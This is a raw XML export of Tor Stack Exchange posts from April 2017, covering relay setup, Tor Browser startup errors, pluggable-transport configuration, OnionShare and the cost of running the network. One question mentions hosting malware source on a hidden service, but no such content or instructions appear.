  <row Id="14535" PostTypeId="2" ParentId="6252" CreationDate="2017-04-13T13:39:06.123" Score="0" Body="&lt;p&gt;Possibly you can but only serve one client request at a time due to low bandwidth availability on using third party apps.It isn't secured I can assure you that .Its just a toy to play with , just like JSfiddle tools , &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download an Android based Kws or Palipa server , config part requires some shell scripting know-hows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download Or not and Orfox to test the hidden service .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next Download PhpMyAdmin this part requires some knowledge to create working database and point it while using readymade avail. Scripts like mybb phpbb etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to configure reachable ports as per u set up earlier&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this Phpmyadmin in pws folder of Palipa server or &lt;/p&gt;&#xA;" OwnerUserId="17083" LastActivityDate="2017-04-13T13:39:06.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14536" PostTypeId="2" ParentId="14501" CreationDate="2017-04-13T13:43:46.347" Score="1" Body="&lt;p&gt;Using your phone as a relay will take up some of your phones computing power but what I'd be worried about is mainly the bandwitdth, if you lose connection to wifi you will use up data quickly. Along with using WiFi you will stand out if you are on a public WiFi and probably not a good idea I'm home wifi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all it isn't worth it&lt;/p&gt;&#xA;" OwnerUserId="15543" LastActivityDate="2017-04-13T13:43:46.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14537" PostTypeId="2" ParentId="14474" CreationDate="2017-04-13T14:13:56.210" Score="1" Body="&lt;p&gt;So to kick this off, hosting a for relay/exit node use alot of bandwidth. When I say alot of bandwidth I mean I have heard of many reaching into the TB range monthly. Not alot of ISPs( internet service provider) support that kinda stuff happening on their Network. Tor has a list for you in order to find a good ISP &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/GoodBadISPs&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. If you don't want to do all hat you can host one with &lt;a href=&quot;https://www.digitalocean.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DigitalOcean&lt;/a&gt; and pay $5 for a nice droplet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions can be found with a quick Google search, Tor has alot of information for you to use also in it's &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running an exit node also will get the attention of companys, alot of the time you will get emails about copy right infringement and all that because people going through your node are doing that. It is recommended that you reply to them. All the information about legal issues and how to deal with a use emails can be found &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorExitGuidelines&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15543" LastActivityDate="2017-04-13T14:13:56.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14538" PostTypeId="1" CreationDate="2017-04-13T17:51:24.070" Score="1" ViewCount="304" Body="&lt;p&gt;My experience of using tor on a windows machine is not good (&lt;a href=&quot;https://tor.stackexchange.com/questions/14146/&quot;&gt;see this&lt;/a&gt;). I have successfully used tor as a &lt;a href=&quot;https://atlas.torproject.org/#search/70DFDD349F3C11228F638D0E993D910208A7E108&quot; rel=&quot;nofollow noreferrer&quot;&gt;relay&lt;/a&gt; on my Linux virtual machine (just to test how it works) and it worked fine. So, I know how to edit the torrc file to set up a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently tried to set up the relay on my host windows machine. So, I added the following lines to my torrc file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 3195&#xA;Exitpolicy reject *:*&#xA;Nickname testrelay3195&#xA;ContactInfo human@yopmail.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I am getting an error pop-up. There is also no(0) entry in the log file to debug the problem.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor exited during startup. This might be due to an error in your torrc file, a bug in Tor or another program on your system, or faulty hardware. Until you fix the underlying problem and restart Tor, Tor Browser will not start.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I remove the lines, Tor starts normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea, what is going on?&lt;/p&gt;&#xA;" OwnerUserId="16403" LastActivityDate="2017-04-13T17:51:24.070" Title="configuration to run tor as relay, crashing tor browser in windows" Tags="|tor-browser-bundle|configuration|relays|windows|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14539" PostTypeId="1" CreationDate="2017-04-14T07:55:29.013" Score="0" ViewCount="815" Body="&lt;p&gt;at the first i installed tor by the Ubuntu software , and i couldn't start tor , it always shows a failure saying that if I'm under attack or if I'm having a problem with the connection , definitely none of them does exist , the second time i downloaded the tor browser normally from tor project website , and i run the written commands on the terminal , tor browser didn't work neither . &lt;a href=&quot;https://i.stack.imgur.com/2HNPe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2HNPe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17096" LastEditorUserId="88" LastEditDate="2017-04-20T23:15:25.550" LastActivityDate="2017-04-20T23:15:25.550" Title="tor is not working in ubuntu 14.06" Tags="|tor-browser-bundle|ubuntu|tor-install|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14540" PostTypeId="2" ParentId="14539" CreationDate="2017-04-14T10:13:43.370" Score="0" Body="&lt;p&gt;You need to upgrade your &lt;code&gt;torbrowser-launcher&lt;/code&gt; package (the new version fixes the bug that lead to that &quot;I'm under attack or if I'm having a problem with the connection&quot; error message), to do that write in the terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install torbrowser-launcher&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17098" LastActivityDate="2017-04-14T10:13:43.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14541" PostTypeId="2" ParentId="14539" CreationDate="2017-04-14T10:40:27.783" Score="0" Body="&lt;p&gt;Just download tor browser from website using other web browser. Extract the file at any directory and click the extracted folder. Find the app image in the folder and run it by just clicking. You don't have to use terminal if you do this. I hope this would help you. &lt;/p&gt;&#xA;" OwnerUserId="17099" LastActivityDate="2017-04-14T10:40:27.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14542" PostTypeId="1" CreationDate="2017-04-14T13:07:52.783" Score="2" ViewCount="175" Body="&lt;p&gt;I would like to run multiple Tor Browsers on Windows all at once, with each having a unique Tor IP address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already seen &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips&quot;&gt;this&lt;/a&gt; instruction, but it doesn't work anymore as extensions.torbutton.custom.socks_port and extensions.torbutton.custom.socks_host were removed from the latest version. Please post simple instructions, as I'm new to this and would appreciate help.&lt;/p&gt;&#xA;" OwnerUserId="17102" LastActivityDate="2017-04-14T13:07:52.783" Title="How to run multiple Tor browsers with different IPs on the latest version 6.5.1?" Tags="|torsocks|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14543" PostTypeId="1" CreationDate="2017-04-14T16:36:57.507" Score="1" ViewCount="29" Body="&lt;p&gt;So I run 2 wireless networks at my house. Both feed into a Charter Cable Modem. The 2 Networks are. A Linksys 5 port wireless router and a 1 port Anonabox that feeds into the Linksys. The problem is actually with the Tor Browser itself. I ran into this problem before and a user helped me but until now I wasn't able to narrow it down fully.&#xA;I have found that there are some websites that I cannot get to with the Tor Browser thru the Anonabox wifi. &#xA;What's weird is that if I delete the &quot;TorBrowser-Data&quot; and then switch to the Anonabox wifi it works fine, and continues to work. It only doesn't work when I connect for the first time on the regular network, and then try to use the Anonabox it breaks. Then the only way to fix it is to delete the &quot;TorBrowser-Data&quot;. Which I hate because I'm a rookie and I loose all my shit like bookmarks. Thanks for everyone's help&lt;/p&gt;&#xA;" OwnerUserId="17105" LastActivityDate="2017-04-14T16:36:57.507" Title="Tor, Mac Anonabox, Linksys switching networks" Tags="|mac|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14544" PostTypeId="2" ParentId="14539" CreationDate="2017-04-14T21:38:51.357" Score="1" Body="&lt;p&gt;You're in the wrong directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The screenshot shows you running the command from your home directory (&lt;code&gt;~&lt;/code&gt;) but the file exists in your Downloads directory (&lt;code&gt;~/Downloads&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Either&lt;/em&gt;:&#xA;run &lt;code&gt;cd Downloads&lt;/code&gt; then &lt;code&gt;tar vJxf tor-browser-linux64-7.0a2-hardened-All.tar.xz&lt;/code&gt;&#xA;&lt;em&gt;Or&lt;/em&gt;:&#xA;run &lt;code&gt;tar vJxf ~/Downloads/tor-browser-linux64-7.0a2-hardened-All.tar.xz&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also just open the file by double clicking on it in the file manager and choose to extract it from there.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-14T21:38:51.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14545" PostTypeId="1" CreationDate="2017-04-14T21:41:53.617" Score="1" ViewCount="182" Body="&lt;p&gt;Tor failed to establish a Tor network connection&#xA;Establishing an encrypted directory connection failed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04/14/2017 23:19:39.500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;04/14/2017 23:21:36.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host BD6A829255CB08E66FBE7D3748363586E46B3810 at 171.25.193.9:80) &#xA;04/14/2017 23:21:36.600 [WARN] 10 connections have failed: &#xA;04/14/2017 23:21:36.600 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;04/14/2017 23:21:40.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:21:40.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:21:40.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:21:40.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;04/14/2017 23:21:42.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:21:42.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:21:42.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:21:42.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:22:10.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 11; recommendation warn; host 847B1F850344D7876491A54892F904934E4EB85D at 86.59.21.38:443) &#xA;04/14/2017 23:22:10.800 [WARN] 12 connections have failed: &#xA;04/14/2017 23:22:10.800 [WARN]  11 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;04/14/2017 23:22:10.800 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;04/14/2017 23:22:18.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:22:18.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:22:18.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:22:18.900 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;04/14/2017 23:28:57.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:28:57.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:28:57.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:28:57.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:28:58.000 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 12; recommendation warn; host 7EA6EAD6FD83083C538F44038BBFA077587DD755 at 194.109.206.212:443) &#xA;04/14/2017 23:28:58.000 [WARN] 13 connections have failed: &#xA;04/14/2017 23:28:58.000 [WARN]  12 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;04/14/2017 23:28:58.000 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;04/14/2017 23:28:59.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:28:59.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;04/14/2017 23:28:59.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;04/14/2017 23:28:59.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 13; recommendation warn; host A9406A006D6E7B5DA30F2C6D4E42A338B5E340B2 at 163.172.149.122:443) &#xA;04/14/2017 23:28:59.600 [WARN] 14 connections have failed: &#xA;04/14/2017 23:28:59.600 [WARN]  13 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;04/14/2017 23:28:59.600 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;04/14/2017 23:28:59.600 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should i do??!&lt;/p&gt;&#xA;" OwnerUserId="17109" LastEditorUserId="12737" LastEditDate="2017-04-14T22:01:20.920" LastActivityDate="2017-04-14T22:01:20.920" Title="Tor Browser stopped working on my kali?" Tags="|tor-browser-bundle|torcheck|" AnswerCount="0" CommentCount="1" ClosedDate="2017-04-20T23:24:21.303" ContentLicense="CC BY-SA 3.0" />
  <row Id="14548" PostTypeId="1" CreationDate="2017-04-15T11:05:49.740" Score="3" ViewCount="257" Body="&lt;p&gt;How much does it cost to run the Tor network if we divide it per average Tor daily user? Tor has like what 1.7 million daily users, so like is it 1$ per month per Tor user? Has anyone done any such estimate?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="17115" LastActivityDate="2017-04-17T14:41:29.703" Title="How much does it cost to run the Tor network if we divide it per Tor user?" Tags="|network-health|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14554" PostTypeId="1" CreationDate="2017-04-15T12:33:03.840" Score="2" ViewCount="441" Body="&lt;p&gt;I am trying to start shapeshifter-dispatcher as a standalone proxy on both a server and a client machine to tunnel an OpenVPN connection. However it appears to be able to start only if I select the pluggable transport obfs2, failing when I select others like scramblesuit, meek, obfs4 etc.&#xA;The following command is what I use on the server:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shapeshifter-dispatcher -server -transparent -ptversion 2 -transports obfs2 -state state -bindaddr obfs2-MY.LAN.IP.HERE:500 -orport 127.0.0.1:1194&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Despite an error claiming I don't have an extended OR address, it starts fine. However when I change the obfs2 text with obfs4, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;launching&#xA;obfs4-192.168.1.74:500&#xA;Error resolving Extended OR address  missing port in address&#xA;ServerSetup obfs4-192.168.1.74:500 {[{obfs4 192.168.1.74:500 map[]}] 127.0.0.1:1194 &amp;lt;nil&amp;gt; }&#xA;bindaddr {obfs4 192.168.1.74:500 map[]}&#xA;launched false []&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also there's no way I am able to enable a more advanced logging to obtain more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I get, shapeshifter-dispatcher seems to be the heir of obfsproxy but it's still a bit crude and in alpha stage. Am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I managed to get the log to work, and this is what I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2017/04/15 12:58:00 [NOTICE]: dispatcher-0.0.7-dev - launched&#xA;2017/04/15 12:58:00 [INFO]: shapeshifter-dispatcher - initializing transparent proxy&#xA;2017/04/15 12:58:00 [INFO]: shapeshifter-dispatcher - initializing UDP transparent proxy&#xA;2017/04/15 12:58:00 [INFO]: shapeshifter-dispatcher - initializing server transport listeners&#xA;2017/04/15 12:58:00 [ERROR]: obfs4 transport missing cert argument: map[]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17118" LastEditorUserId="17118" LastEditDate="2017-04-15T13:01:24.793" LastActivityDate="2017-04-15T13:01:24.793" Title="shapeshifter-dispatcher starts only in obfs2 mode" Tags="|proxy|pluggable-transports|obfsproxy|openvpn|obfs4proxy|" AnswerCount="0" CommentCount="2" ClosedDate="2017-04-19T09:26:29.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="14559" PostTypeId="2" ParentId="14548" CreationDate="2017-04-15T17:08:25.000" Score="3" Body="&lt;p&gt;Yes, someone already tried to do the calculation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To sum up, that would make the entire Tor network run for approximately $90,000 a month or $1,072,860 a year. Roughly the price for a (very) small tier 3 datacenter!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Considering there are 1.6 million users using Tor, that would make the average user cost under a dollar per year — which is pretty cheap for some of its use cases and the associated benefits (censorship circumvention, privacy, …).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;a href=&quot;https://blog.0day.rocks/how-much-does-the-tor-network-cost-to-run-9d4ea4780a57&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.0day.rocks/how-much-does-the-tor-network-cost-to-run-9d4ea4780a57&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In sum, that would make the Tor network cost 5.59 cents per month per Tor user.&lt;/p&gt;&#xA;" OwnerUserId="17122" LastEditorUserId="12737" LastEditDate="2017-04-17T14:41:29.703" LastActivityDate="2017-04-17T14:41:29.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14563" PostTypeId="1" CreationDate="2017-04-16T00:56:15.490" Score="2" ViewCount="1944" Body="&lt;p&gt;Could someone make a simple guide on making a hidden service for apache2?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not the sharpest tool in the shed and I'm just running a boring site.&#xA;(Hosting malware, botnets, spying kits, rats, crypters, ransomware, etc's source code)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing fancy, but I would like the most security I can get.&#xA;Running Ubuntu if that helps.&lt;/p&gt;&#xA;" OwnerUserId="17129" LastActivityDate="2018-10-13T22:00:29.293" Title="How to set up Apache2 hidden service?" Tags="|ubuntu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14564" PostTypeId="1" AcceptedAnswerId="14566" CreationDate="2017-04-16T07:12:43.873" Score="1" ViewCount="786" Body="&lt;p&gt;Quote from &lt;a href=&quot;https://github.com/micahflee/onionshare/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub OnionShare&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Open OnionShare and drag and drop files and folders you wish to share,&#xA;  and click Start Sharing. It will show you a .onion URL such as&#xA;  &lt;code&gt;http://asxmi4q6i7pajg2b.onion/egg-cain&lt;/code&gt; and copy it to your clipboard.&#xA;  This is the secret URL that can be used to download the file you're&#xA;  sharing. If you'd like multiple people to be able to download this&#xA;  file, uncheck the &quot;close automatically&quot; checkbox.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is OnionShare something like an &quot;anonymous&quot; BitTorrent? Are there indexes / trackers with descriptions and previews? Something like the Pirate Bay is? URI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of Torrents get deleted because of DMCA, so I would assume that OnionShare doesn't delete DMCA files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do I misunderstand OnionShare?&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2017-04-16T20:25:46.960" Title="OnionShare index? Something like The Pirate Bay (description and preview)" Tags="|bittorrent|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14566" PostTypeId="2" ParentId="14564" CreationDate="2017-04-16T12:12:06.067" Score="1" Body="&lt;p&gt;Onionshare is a decentralized file hoster, so it's something in between file hosters (like mega) and bitorrent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's decentralized, so anyone can install Onionshare, and run it : it will create an Hidden service where you can send files anonymously through the Tor Network. But, you'll be the only &quot;seeder&quot;, and if you shut down the application, the files won't be available anymore, because they're from a unique source. So don't wait for great downloading speed like torrents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the identity of the hoster remains anonymous, I don't thinks DMCA files are effective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Official website :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://onionshare.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Github repos :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/micahflee/onionshare&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/micahflee/onionshare&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17135" LastActivityDate="2017-04-16T12:12:06.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14568" PostTypeId="2" ParentId="12394" CreationDate="2017-04-16T15:00:33.617" Score="1" Body="&lt;p&gt;Protonmail is a mail provider that is :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Anonymous&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hosted in Switzerland &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;With end to end encryption&lt;/li&gt;&#xA;&lt;li&gt;Mobile Friendly ( ios/android application)&lt;/li&gt;&#xA;&lt;li&gt;Tor Friendly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;the only problem is IMAP that isn't working due to their encryption protocol :&#xA;&lt;a href=&quot;https://protonmail.com/support/knowledge-base/imap-smtp-and-pop3-setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonmail.com/support/knowledge-base/imap-smtp-and-pop3-setup/&lt;/a&gt;&#xA;&lt;a href=&quot;https://protonmail.com/support/knowledge-base/third-party-email-client-integration-outlook-thunderbird-apple-mail-ect/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonmail.com/support/knowledge-base/third-party-email-client-integration-outlook-thunderbird-apple-mail-ect/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Website : &lt;a href=&quot;https://protonmail.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonmail.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden Service Mirror : &lt;a href=&quot;https://protonirockerxow.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonirockerxow.onion/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17135" LastActivityDate="2017-04-16T15:00:33.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14572" PostTypeId="2" ParentId="14564" CreationDate="2017-04-16T20:25:46.960" Score="3" Body="&lt;p&gt;OnionShare isn't like BitTorrent, it's not a filesharing network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a bit of software that does two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It creates an onion service.&lt;/li&gt;&#xA;&lt;li&gt;It starts a web server that shares your chosen files over the onion service.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are no indexes of onion services or onionshare instances, they're distributed manually to the intended recipients of the shared files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be possible to create a place for people to share onionshare links but they are intended to be temporary shares, so it's not the intended use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with all onion services there is no central authority which can arbitrarily censor content, so content would be hard to censor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-16T20:25:46.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14575" PostTypeId="1" CreationDate="2017-04-17T03:50:23.087" Score="2" ViewCount="366" Body="&lt;p&gt;&lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/docs/tor-manual.html#HiddenServiceAuthorizeClient&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://expyuzz4wqqyqhjn.onion/docs/tor-manual.html#HiddenServiceAuthorizeClient&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The auth-type can either be 'basic' for a general-purpose authorization protocol or 'stealth' for a less scalable protocol that also hides service activity from unauthorized clients.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Where can I find documentation on the &lt;code&gt;HiddenServiceAuthorizeClient&lt;/code&gt; directive? &quot;hides service activity&quot; seems a little vague. What service activity and how is it hidden? Pros and cons to &lt;code&gt;basic&lt;/code&gt; vs &lt;code&gt;stealth&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="17142" LastActivityDate="2017-04-17T03:50:23.087" Title="HiddenServiceAuthorizeClient: Difference between 'basic' and 'stealth'?" Tags="|configuration|onion-services|anonymity|security|server-administration|" AnswerCount="0" CommentCount="0" ClosedDate="2017-04-19T09:26:53.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="14576" PostTypeId="1" CreationDate="2017-04-17T09:50:38.713" Score="1" ViewCount="124" Body="&lt;p&gt;I hope someone can help here. If I set up a TOR relay, would this help in stopping a stalker from monitoring my traffic if for example he hacked into my router? If there is a lot of traffic coming in and out of my network would it be difficult to work out which one is mine? Either way, I would still like to set up a TOR relay but I am also trying to figure out the best way to maintain privacy&lt;/p&gt;&#xA;" OwnerUserId="17145" LastActivityDate="2017-04-17T14:15:39.540" Title="Setting up a Tor Relay on personal computer" Tags="|relays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14578" PostTypeId="2" ParentId="14576" CreationDate="2017-04-17T14:15:39.540" Score="1" Body="&lt;p&gt;To defeat an attacker who is eavesdropping from your router you don't need to run a relay, you just need to use Tor as a client. They'd only see already encrypted traffic leaving the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running a relay and a client may, under certain circumstances, make it more difficult for a purely passive observer to tell which Tor traffic is yours and which isn't. It wouldn't make it impossible, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your scenario, an active attacker with control of your router, they could simply block inbound traffic to your Tor relay and then the remaining traffic could be determined to be yours alone. I don't think you'll gain privacy by running a Tor relay but using Tor as a client will already give you strong privacy. Your attacker could tell: &lt;em&gt;That&lt;/em&gt; you use Tor, &lt;em&gt;When&lt;/em&gt; you use Tor and &lt;em&gt;How Much&lt;/em&gt; you use Tor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-04-17T14:15:39.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14583" PostTypeId="1" AcceptedAnswerId="14584" CreationDate="2017-04-18T09:27:22.063" Score="1" ViewCount="2751" Body="&lt;p&gt;Building a JS chat for local network. Users are based on IP addresses. I want to open a URL in Tor Browser with a new circuit or a new identity after a set of defined seconds automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a command I can run where I open tor with the url as a parameter? Then I can put it in a batch file and make it run after every few minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can simulate a shortcut like Ctrl+Shift+L through the browser's console.&lt;/p&gt;&#xA;" OwnerUserId="17156" LastActivityDate="2017-04-18T12:11:01.743" Title="Auto - New Tor Circuit For This Site or New Identity" Tags="|tor-browser-bundle|configuration|circuit|identity-change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
